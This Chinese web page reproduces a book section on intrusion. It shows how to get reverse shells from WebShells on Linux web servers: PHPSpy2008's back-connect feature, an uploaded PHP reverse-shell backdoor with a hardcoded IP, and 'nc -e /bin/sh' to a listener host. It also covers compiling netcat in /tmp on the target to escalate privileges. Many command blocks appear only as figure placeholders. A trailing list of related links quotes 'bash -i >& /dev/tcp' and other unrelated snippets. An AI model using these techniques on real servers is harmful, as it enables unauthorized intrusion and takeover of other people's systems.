Linux下通过WebShell反弹Shell的技巧
13.2 Linux下通过WebShell反弹Shell的技巧
Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。
Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
13.2.1 使用PHP WebShell木马反弹Shell
一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。
在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:
然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在“Your IP”中显示本机IP,在“Your Port”中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图403)。
图403
设置完毕后,点击“Start”按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图404)。
图404
除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:
图405
修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图405)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:
使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。
13.2.2 使用NC反弹Shell
在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。
在Windows下反弹CmdShell时,首先要在本机运行“nc -vv -l -p 端口号”监听端口,然后在WebShell中执行“nc -e cmd.exe 监听主机IP地址 端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。
——在本机监听端口后,在WebShell运行nc反弹时,需要发送的是“/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:
即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。
13.2.3 远程主机无NC工具时的解决办法
在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。
如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。
另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图406)。
图406
例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。
将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:
图407
执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图407)。然后再执行命令:
配置完毕后,再执行如下命令进行编译:
由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图408)。
图408
编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行“nc -vv -l -p 8080”命令监听8080号端口后,在WebShell中执行如下命令(图409):
图409
即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图410)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。
图410
Linux下通过WebShell反弹Shell的技巧相关推荐
- linux下几种反弹Shell方法的总结与理解
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- LINUX下的流量监控shell脚本
这篇文章主要介绍了LINUX下的流量监控shell脚本,可以适用任何Linux版本,需要的朋友可以参考下 一.脚本源码 # vi /etc/rc.d/traffic_monitor.sh ------ ...
- linux 命令美丽,美丽的程序猿-Linux下那些查找文件的小技巧-find
原标题:美丽的程序猿-Linux下那些查找文件的小技巧-find 一.按照文件名匹配查找 1. 查找当前目录下的文件tmp.sh find . –name tmp.sh 可以看出,使用.查找是查找当前 ...
- linux脚本输出到文件,在linux下,如何将shell里输出的信息写入到文件里呢?
在linux下,如何将shell里输出的信息写入到文件里呢? 在linux下,如何将shell里输出的信息写入到文件里呢? 通过下面的两个管道符可以实现些功能. > ...
- linux在文件里写入,在linux下,如何将shell里输出的信息写入到文件里呢?
在linux下,如何将shell里输出的信息写入到文件里呢? 通过下面的两个管道符可以实现些功能. > 将信息写入文件 >> 在现 ...
- linux 下ssh端口反弹,利用ssh隧道反弹shell
说明 本文旨在分析rssh的源代码来学习利用ssh隧道来反弹shell.整个rssh只有1个347行的main文件,所以整体的逻辑结构也比较好分析.关于SSH端口转发的知识可以看实战SSH端口转发这篇 ...
- 提权(概述、水平/垂直越权、windows/linux提权、反弹shell、Linux_Exploit_Suggester、searchsploit)
文章目录 提权 一.概述 二.水平越权&垂直越权 三.分类 - windows 1. 基于windows2003 2. 基于windows2008 3. ms SQL提权 5. nc反弹she ...
- 当Linux提权不能反弹Shell时利用metasploit进行提权
当LINUX提权反弹不了时.经常遇到这种情况 请出MSF .. 1 .生成WEBSHELL文件 msf > msfpayload php/reverse_php LHOST=你的IP LPORT ...
- linux下各种工具以及shell经验总结
这篇文章是从我多年前的博客倒腾过来的,以后我会继续慢慢更新这篇文章. 1.ls 1)选项-1:所有结果显示为一列 2.grep -c:只显示匹配结果的总行数 grep -c "gejun&q ...
- mysql 反弹shell_Linux下几种反弹Shell方法的总结与理解
*本文原创作者:LlawLiet,本文属FreeBuf原创奖励计划,未经许可禁止转载. 之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了 ...
最新文章
- 5 亿微博数据疑泄露,Python 爬虫如何避免踩天坑?
- 快速构建深度学习图像数据集,微软Bing和Google哪个更好用?
- vfp全国计算机二级,全国计算机二级VFP试题
- 网站建设中这些图片优化小技巧需掌握
- 五万字 Linux 知识点深度解析,学完每个人都是高手
- php自定义模块,简单介绍OpenCart自定义模块
- 记录之pytorch中文文档
- 给大家推荐对Redis分析讲解比较详细的大牛
- centos python_在centos上配置python的虚拟开发环境
- 济南市区块链产业创新发展行动计划对外公布
- 如约而至!第二期 Flink 极客训练营上线啦
- Apache Flink 进阶(八):详解 Metrics 原理与实战
- Java学习(11-15天, 线性数据结构)
- 大一微积分笔记整理_大学数学-微积分学笔记.pdf
- BioPython安装与入门
- VMware Workstation -- 破解密码
- 陆源:阿贝尔对椭圆函数论的贡献[附椭圆函数、模形式(g_2,g_3)、模函数的C++程序计算]
- 【OpenCV】Linux 下用 g++ 编译 OpenCV 程序
- amp;#9733;平衡法则在生活中的应用
- 点击文字或者按钮在本页面中弹出悬浮小窗口
热门文章
- 自定义获取焦点的TextView
- magento Service Temporarily Unavailable
- [IC]Lithograph(1)光刻技术分析与展望
- BackgroundWorker的使用
- net 进阶学习 WebApi (2)
- Thinkphp5.1 配置域名(站点)设置
- Oracle中的rownum不能使用大于的问题
- php四种基础算法:冒泡,选择,插入和快速排序法PHP基础教程
- InnoDB存储引擎--学习笔记-redo log
- Phome开发历程分享——Enjoy the Beginning